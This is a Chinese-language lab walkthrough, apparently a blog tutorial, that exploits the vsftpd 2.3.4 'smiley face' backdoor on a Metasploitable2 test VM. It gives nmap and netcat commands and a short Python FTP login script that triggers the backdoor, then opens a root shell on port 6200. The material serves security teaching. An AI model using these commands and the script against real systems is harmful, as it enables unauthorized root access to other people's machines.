Kali渗透测试-远程控制：6200端口变成“后门”
测试环境
攻击机：Linux kali 5.16.0-kali7-amd64 (IP:192.168.68.248)
靶机：Metasploitable2 - Linux (IP:192.168.68.205)
攻击工具：Netcat(nc) “瑞士军刀”
扫描工具：Nmap version 7.92
漏洞是黑客进入计算机的入口，如果目标主机上运行的vsftpd-2.3.4被黑客使用笑脸漏洞成功渗透，就会自动在6200端口打开一个连接，从而通过这个连接失效对目标主机的控制。关于“笑脸漏洞”大家可以自行搜索一下相关信息。
测试步骤
1. 攻击上运行nmap扫描
┌──(kali㉿kali)-[~]
└─$ nmap --script ftp-vsftpd-backdoor 192.168.68.205
2. Netcat 扫描端口测试连接
以靶机80端口为例测试，命令如下：
┌──(kali㉿kali)-[~]
└─$ nc -v 192.168.68.205 80
192.168.68.205: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.68.205] 80 (http) open
可以看到这个端口状态为open， 也就是开放的。接下来试一下可否通过80端口控制目标， 命令如下：
┌──(kali㉿kali)-[~]
└─$ nc 192.168.68.205 80
测试完成之后，系统会暂时没有反应。再输入一条Linux操作系统用于现实用户名称的whoami命令，以此来查看是否能通过80端口来控制目标，如下图所示：
虽然出现了如上提示，但这只是Metasploittable2的欢迎界面，尝试失败。
3. 激活笑脸漏洞，开启6200端口
分享一段注入脚本代码，如下：
import socket
from ftplib import FTP
host_ip = '192.168.68.205'
ftp = FTP()
backdoorstr = 'hello:)'
backdoorpass = "it's me"
try:
ftp.connect(host_ip, 21, timeout = 2)
ftp.login(backdoorstr, backdoorpass)
except:
print('完成笑脸注入')
先运行注入脚本，如上图所示，注入成功。然后运行如下命令：
┌──(kali㉿kali)-[~]
└─$ nc 192.168.68.205 6200
运行结果如下图：
虽然只显示了一个光标，但是对Netcat表示已经成功连接了。
4. 输入测试命令
输入如下命令，得到回应–root
┌──(kali㉿kali)-[~]
└─$ nc 192.168.68.205 6200 1 ⨯
whoami
root
以root身份登录，然后输入其他测试命令，如“ls”、 “cd”、 “pwd”也都成功，如下图所示：
通过如上测试，可以看到6200端口上运行的vsftd-2.3.4。当用户名中存在“：）”两个连续的符号时，就会激活vsf_sysutil_extra函数，这个函数会在本地建立一个socket，然后绑定到6200端口，之后调用exec函数绑定/bin/sh。
